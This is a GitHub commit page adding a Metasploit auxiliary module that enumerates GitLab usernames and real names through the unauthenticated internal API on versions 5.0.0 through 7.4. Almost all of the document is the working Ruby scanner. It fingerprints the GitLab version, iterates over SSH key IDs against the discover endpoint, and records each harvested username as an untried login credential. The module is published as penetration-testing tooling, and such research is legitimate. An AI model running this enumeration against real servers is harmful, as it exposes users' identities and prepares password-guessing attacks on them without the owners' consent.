Skip to content

Commit a2ce14a

Browse files
committed
Land rapid7#4941, Gitlab Unauth User Enumeration
2 parents 0c2ed21 + 235124a commit a2ce14a

File tree

1 file changed

+150
-0
lines changed

1 file changed

+150
-0
lines changed
Lines changed: 150 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,150 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'rex/proto/http'
7+
require 'msf/core'
8+
require 'json'
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Auxiliary::Scanner
13+
include Msf::Auxiliary::Report
14+
15+
def initialize(info = {})
16+
super(update_info(
17+
info,
18+
'Name' => 'GitLab User Enumeration',
19+
'Description' => "
20+
The GitLab 'internal' API is exposed unauthenticated on GitLab. This
21+
allows the username for each SSH Key ID number to be retrieved. Users
22+
who do not have an SSH Key cannot be enumerated in this fashion. LDAP
23+
users, e.g. Active Directory users will also be returned. This issue
24+
was fixed in GitLab v7.5.0 and is present from GitLab v5.0.0.
25+
",
26+
'Author' => 'Ben Campbell',
27+
'License' => MSF_LICENSE,
28+
'DisclosureDate' => 'Nov 21 2014'
29+
))
30+
31+
register_options(
32+
[
33+
OptString.new('TARGETURI', [ true, 'Path to GitLab instance', '/']),
34+
OptInt.new('START_ID', [true, 'ID number to start from', 0]),
35+
OptInt.new('END_ID', [true, 'ID number to enumerate up to', 50])
36+
], self.class)
37+
end
38+
39+
def run_host(_ip)
40+
internal_api = '/api/v3/internal'
41+
check = normalize_uri(target_uri.path, internal_api, 'check')
42+
43+
print_status('Sending GitLab version request...')
44+
res = send_request_cgi(
45+
'uri' => check
46+
)
47+
48+
if res && res.code == 200 && res.body
49+
begin
50+
version = JSON.parse(res.body)
51+
rescue JSON::ParserError
52+
fail_with(Failure::Unknown, 'Failed to parse banner version from JSON')
53+
end
54+
55+
git_version = version['gitlab_version']
56+
git_revision = version['gitlab_rev']
57+
print_good("GitLab version: #{git_version} revision: #{git_revision}")
58+
59+
service = report_service(
60+
host: rhost,
61+
port: rport,
62+
name: (ssl ? 'https' : 'http'),
63+
proto: 'tcp'
64+
)
65+
66+
report_web_site(
67+
host: rhost,
68+
port: rport,
69+
ssl: ssl,
70+
info: "GitLab Version - #{git_version}"
71+
)
72+
elsif res && res.code == 401
73+
fail_with(Failure::NotVulnerable, 'Unable to retrieve GitLab version...')
74+
else
75+
fail_with(Failure::Unknown, 'Unable to retrieve GitLab version...')
76+
end
77+
78+
discover = normalize_uri(target_uri.path, internal_api, 'discover')
79+
80+
users = ''
81+
print_status("Enumerating user keys #{datastore['START_ID']}-#{datastore['END_ID']}...")
82+
datastore['START_ID'].upto(datastore['END_ID']) do |id|
83+
res = send_request_cgi(
84+
'uri' => discover,
85+
'method' => 'GET',
86+
'vars_get' => { 'key_id' => id }
87+
)
88+
89+
if res && res.code == 200 && res.body
90+
begin
91+
user = JSON.parse(res.body)
92+
username = user['username']
93+
unless username.nil? || username.to_s.empty?
94+
print_good("Key-ID: #{id} Username: #{username} Name: #{user['name']}")
95+
store_username(username, res)
96+
users << "#{username}\n"
97+
end
98+
rescue JSON::ParserError
99+
print_error("Key-ID: #{id} - Unexpected response body: #{res.body}")
100+
end
101+
elsif res
102+
vprint_status("Key-ID: #{id} not found")
103+
else
104+
print_error('Connection timed out...')
105+
end
106+
end
107+
108+
unless users.nil? || users.to_s.empty?
109+
store_userlist(users, service)
110+
end
111+
end
112+
113+
def store_userlist(users, service)
114+
loot = store_loot('gitlab.users', 'text/plain', rhost, users, nil, 'GitLab Users', service)
115+
print_good("Userlist stored at #{loot}")
116+
end
117+
118+
def store_username(username, res)
119+
service = ssl ? 'https' : 'http'
120+
service_data = {
121+
address: rhost,
122+
port: rport,
123+
service_name: service,
124+
protocol: 'tcp',
125+
workspace_id: myworkspace_id,
126+
proof: res
127+
}
128+
129+
credential_data = {
130+
origin_type: :service,
131+
module_fullname: fullname,
132+
username: username
133+
}
134+
135+
credential_data.merge!(service_data)
136+
137+
# Create the Metasploit::Credential::Core object
138+
credential_core = create_credential(credential_data)
139+
140+
# Assemble the options hash for creating the Metasploit::Credential::Login object
141+
login_data = {
142+
core: credential_core,
143+
status: Metasploit::Model::Login::Status::UNTRIED
144+
}
145+
146+
# Merge in the service data and create our Login
147+
login_data.merge!(service_data)
148+
create_credential_login(login_data)
149+
end
150+
end

0 commit comments

Comments
 (0)